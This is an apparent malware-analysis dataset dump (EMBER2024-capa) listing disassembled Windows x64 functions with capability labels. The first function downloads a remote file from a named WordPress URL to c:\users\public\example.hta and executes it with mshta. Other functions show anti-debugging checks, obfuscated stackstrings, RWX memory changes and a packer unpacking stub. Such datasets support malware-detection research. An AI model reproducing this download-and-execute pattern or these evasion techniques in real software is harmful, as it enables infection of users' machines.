joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1f47113a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x1f47115b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1f47122b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1f47122b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x1f4711620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1f4717064]
mov r12, rcx
test ebx, ebx
jle 0x1f4711750
mov rax, qword [0x1f4717068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1f471166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1f47116f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1f4711650
mov rcx, r12
call fcn.1f4711da0
mov rsi, rax
test rax, rax
je 0x1f4711772
mov rax, qword [0x1f4717068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1f4711ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1f4717068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1f4711757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1f47116ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1f4711700
add dword [0x1f4717064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1f4717068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1f47116ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1f47115b0
nop dword [rax]
xor ebx, ebx
jmp 0x1f4711677
mov rax, qword [0x1f4717068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1f47115b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1f47115b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x1f4711a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1f47170a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1f4717080]
test rbx, rbx
je 0x1f4711a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1f4711a5b
test r12, r12
je 0x1f4711a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1f4711a40
lea rcx, [0x1f47170a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1f4711da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1f47142c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1f4711dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1f4711dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1f4711dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1f4711e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1f4711e0c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1f4711dc0
add rax, 0x28
cmp rax, r9
jne 0x1f4711df8
xor eax, eax
ret

Function at 0x1f4711e20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1f47142c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1f4711e40
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1f4711e48
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1f4711e40
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1f4711ed0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1f47142c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1f4711ef0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1f4711ef8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x181733728
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1817338af
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x181733759
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18173373f
add dl, dl
jne 0x181733766
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1817337c6
xor eax, eax
add dl, dl
jne 0x181733775
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18173387d
add dl, dl
jne 0x181733786
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x181733793
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1817337a0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1817337ad
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1817337ba
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18173374e
mov eax, 1
add dl, dl
jne 0x1817337d6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1817337e3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1817337cb
sub eax, ebx
mov ebx, 1
jne 0x18173381c
mov ecx, 1
add dl, dl
jne 0x1817337fe
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18173380b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1817337f3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18173374e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x181733838
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x181733845
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18173382d
cmp eax, 0x7d00
jae 0x18173386b
cmp eax, 0x500
jb 0x181733866
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18173374e
cmp eax, 0x7f
ja 0x18173386e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18173374e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1817338a2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18173374e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002e30
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002e7a
mov ecx, exit
cmp word [rax], cx
jne 0x140002e7a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002e7a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002e7a
cmp dword [rcx + 0x84], 0xe
jbe 0x140002e7a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002e7c
xor al, al
add rsp, 0x28
ret
Function at 0xb697e0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0xb697ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0xb697fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0xb697e5
lea eax, [rcx + 1]
jmp 0xb6980b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0xb6981e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0xb69804
sub eax, 3
jb 0xb6983e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0xb6988d
sar eax, 1
movsxd rbp, eax
jb 0xb69874
jmp 0xb6984c
add ebx, ebx
jne 0xb6984a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb69874
inc ecx
add ebx, ebx
jne 0xb6985a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0xb69874
call r11
adc ecx, ecx
add ebx, ebx
jne 0xb6986d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0xb6985c
add ecx, 2
jmp 0xb69879
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00b697a2
jmp 0xb697ed
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x23aa00
mov dl, 0x36
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0xb698d9
cmp rsi, rcx
jae 0xb698e1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0xb698c0
cmp al, 0x8f
ja 0xb698c0
cmp byte [rsi - 2], 0xf
je 0xb698c6
sub al, 0xe8
cmp al, 1
ja 0xb698aa
cmp rsi, rcx
jae 0xb698e1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0xb698b0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0xb698e1
lodsb al, byte [rsi]
jmp 0xb698c0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x762000]
mov eax, dword [rdi]
or eax, eax
je 0xb6993e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x769000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0xb698ee
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0xb69938
mov qword [rbx], rax
add rbx, 8
jmp 0xb6990e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0xb69982
cmp al, 0xef
ja 0xb6996a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0xb6994a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0xb69959
mov eax, dword [rdi]
add rdi, 4
jmp 0xb69959
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0xb699d6
sub rsp, 0xffffffffffffff80
jmp 0x467c80
Function at 0x140003920
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor ebx, ebx
xor edi, edi
xor r12d, r12d
cmp r8, 0x201
jae 0x1400039c0
jmp 0x1400039af
jae 0x140003a80
cmp r8, 0x201
jae 0x1400039c0
mov esi, 0x200
lea r13, [rbp - 0x58]
mov r15, r8
jmp 0x140003a18
sub r8, r12
sub rdi, r12
cmp rdi, r8
jae 0x1400039ef
lea rcx, [rbp + 0x3c8]
mov rdx, r12
call fcn.140019890
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rbx, rax
mov r12d, 0xffffffff
cmovb r12, rbx
mov qword [rbp + 0x3d8], r12
mov rdi, rbx
mov rsi, r12
mov r13, qword [rbp + 0x3e8]
mov r15, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, r15d
mov rdx, r13
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r14d, eax
test eax, eax
jne 0x140003a41
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140003ae8
mov r8d, r14d
cmp r15, r8
jne 0x1400039a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140003b15
add r15, r15
mov eax, 0xffffffff
cmp r15, rax
cmovae r15, rax
mov r8, r15
cmp r8, 0x201
jb 0x1400039af
jmp 0x1400039c0
cmp rsi, r8
jb 0x140003b2f
lea rcx, [rbp + 0x3a8]
mov rdx, r13
call fcn.140005950
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test rbx, rbx
je 0x140003ad1
add rbx, rbx
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, rbx
call fcn.140001260
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test rbx, rbx
jne 0x140003ab9
jmp 0x140003ad1
lea rcx, str.internal_error:_entered_unreachable_code_rustc_25ef9e3d85d934b27d9dada2f9dd52b1dc63bb04library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rs
mov edx, 0x28
call fcn.14001a210
jmp 0x140003b44
lea rax, str.library_std_src_syspalwindowsmod.rs
mov rcx, r8
mov rdx, rsi
mov r8, rax
call fcn.14001a660
ud2
Function at 0x140009f20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xa8
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rsp + 0xe0]
movups xmm0, xmmword [0x14001ce98]
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
test rcx, rcx
je 0x140009f64
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x80], rdx
test rcx, rcx
mov qword [rsp + 0x78], rcx
lea rdx, [rsp + 0x80]
cmove rdx, rcx
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140009fca
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14000a001
test eax, eax
js 0x140009fdb
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x140009ff4
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.140005690
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.140001ce0
mov ecx, 7
int 0x29
ud2
Function at 0x140017c20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140017c9a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140017c90
cmp r11, r10
ja 0x140017d25
cmp r10, rdx
ja 0x140017d37
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140017c92
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140017c70
jmp 0x140017d07
ja 0x140017c9a
mov r11, r10
cmp rax, r8
jne 0x140017c42
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140017d0b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140017ce0
mov r8, r10
sub ecx, r9d
jns 0x140017cfe
jmp 0x140017d0d
cmp r10, rdx
je 0x140017d19
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140017d0d
xor al, 1
cmp r8, rdx
jne 0x140017cc0
jmp 0x140017d0d
xor eax, eax
jmp 0x140017d0d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001a0b0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001a6e0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001a660
int3

Function at 0x140019248
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140019292
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140019292
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140019292
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019292
cmp dword [rcx + 0x84], 0xe
jbe 0x140019292
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140019294
xor al, al
add rsp, 0x28
ret
Function at 0x180004530
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov rax, qword gs:[0x30]
mov edi, 1
mov rcx, qword [rax + 0x60]
cmp byte [rcx + 2], dil
je 0x1800046c2
cmp byte [rcx + 0xbc], 0x70
je 0x1800046c2
movdqa xmm0, xmmword [0x180021bd0]
lea rcx, [rsp + 0x48]
xor esi, esi
mov dword [rsp + 0x58], 0x69517177
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x5c], 0x6a615976
mov word [rsp + 0x60], 0xfd75
call fcn.180003f20
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x14c0149
mov rbx, rax
mov dword [rsp + 0x34], 0x550142
mov dword [rsp + 0x38], 0x320147
mov dword [rsp + 0x3c], 0x4d004d
mov dword [rsp + 0x40], 0x1004e
call fcn.180003cb0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x18000466f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9d, [rdi + 7]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rsp + 0x68]
lea edx, [rdi + 6]
call rbx
test eax, eax
jne 0x18000466f
cmp qword [rsp + 0x68], rsi
jne 0x1800046c2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9d, [rdi + 7]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rsp + 0x70]
lea edx, [rdi + 0x1d]
call rbx
test eax, eax
je 0x180004668
cmp eax, 0xc0000353
jne 0x18000466f
cmp qword [rsp + 0x70], rsi
jne 0x1800046c2
xor edx, edx
mov qword [rbp - 0x80], 0x4d0
mov r8d, 0x4c8
lea rcx, [rbp - 0x78]
call fcn.18000ff30
mov dword [rbp - 0x50], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800046be
cmp qword [rbp - 0x38], rsi
jne 0x1800046c2
cmp qword [rbp - 0x30], rsi
jne 0x1800046c2
cmp qword [rbp - 0x28], rsi
jne 0x1800046c2
cmp qword [rbp - 0x20], rsi
jne 0x1800046c2
xor eax, eax
jmp 0x1800046c4
mov eax, edi
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.18000ee00
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180009bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov eax, 1
mov dword [rbp - 0x49], 0x1640120
lea rcx, [rbp - 0x49]
mov word [rbp + 0x3f], ax
mov dword [rbp - 0x45], 0x6c016d
mov dword [rbp - 0x41], 0x70015c
mov dword [rbp - 0x3d], 0x71006a
mov dword [rbp - 0x39], 0x650072
mov dword [rbp - 0x35], 0x75015f
mov dword [rbp - 0x31], 0x2e015c
mov dword [rbp - 0x2d], 0x149015a
mov dword [rbp - 0x29], 0x660071
mov dword [rbp - 0x25], 0x1660073
mov dword [rbp - 0x21], 0x165007a
mov dword [rbp - 0x1d], 0x16b0162
mov dword [rbp - 0x19], 0x142005e
mov dword [rbp - 0x15], 0x6e0162
mov dword [rbp - 0x11], 0x5f0164
mov dword [rbp - 0xd], 0x16d014f
mov dword [rbp - 9], 0x16a0069
mov dword [rbp - 5], 0x4b0119
mov dword [rbp - 1], 0x16f0065
mov dword [rbp + 3], 0x610068
mov dword [rbp + 7], 0x7a0152
mov dword [rbp + 0xb], 0x64016a
mov dword [rbp + 0xf], 0x730164
mov dword [rbp + 0x13], 0x1680076
mov dword [rbp + 0x17], 0x1740167
mov dword [rbp + 0x1b], 0x1540160
mov dword [rbp + 0x1f], 0x6c0174
mov dword [rbp + 0x23], 0x79016d
mov dword [rbp + 0x27], 0x750077
mov dword [rbp + 0x2b], 0x6e006b
mov dword [rbp + 0x2f], 0x330163
mov dword [rbp + 0x33], 0x39012d
mov dword [rbp + 0x37], 0x160012c
mov dword [rbp + 0x3b], 0x6f0074
call fcn.180009d20
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.18000ee00
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18000a240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov eax, 1
mov dword [rbp - 0x49], 0x1640120
lea rcx, [rbp - 0x49]
mov word [rbp + 0x3f], ax
mov dword [rbp - 0x45], 0x6c016d
mov dword [rbp - 0x41], 0x70015c
mov dword [rbp - 0x3d], 0x71006a
mov dword [rbp - 0x39], 0x650072
mov dword [rbp - 0x35], 0x75015f
mov dword [rbp - 0x31], 0x2e015c
mov dword [rbp - 0x2d], 0x149015a
mov dword [rbp - 0x29], 0x660071
mov dword [rbp - 0x25], 0x1660073
mov dword [rbp - 0x21], 0x165007a
mov dword [rbp - 0x1d], 0x16b0162
mov dword [rbp - 0x19], 0x142005e
mov dword [rbp - 0x15], 0x6e0162
mov dword [rbp - 0x11], 0x5f0164
mov dword [rbp - 0xd], 0x16d014f
mov dword [rbp - 9], 0x16a0069
mov dword [rbp - 5], 0x4b0119
mov dword [rbp - 1], 0x16f0065
mov dword [rbp + 3], 0x610068
mov dword [rbp + 7], 0x7a0152
mov dword [rbp + 0xb], 0x64016a
mov dword [rbp + 0xf], 0x730164
mov dword [rbp + 0x13], 0x1680076
mov dword [rbp + 0x17], 0x1740167
mov dword [rbp + 0x1b], 0x1540160
mov dword [rbp + 0x1f], 0x6c0174
mov dword [rbp + 0x23], 0x79016d
mov dword [rbp + 0x27], 0x750077
mov dword [rbp + 0x2b], 0x6e006b
mov dword [rbp + 0x2f], 0x320163
mov dword [rbp + 0x33], 0x390134
mov dword [rbp + 0x37], 0x160012c
mov dword [rbp + 0x3b], 0x6f0074
call fcn.180009d20
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.18000ee00
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140006a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140006ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140006ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140006aad
mov qword [rsi], rdi
call fcn.140006670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.plugin_container.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
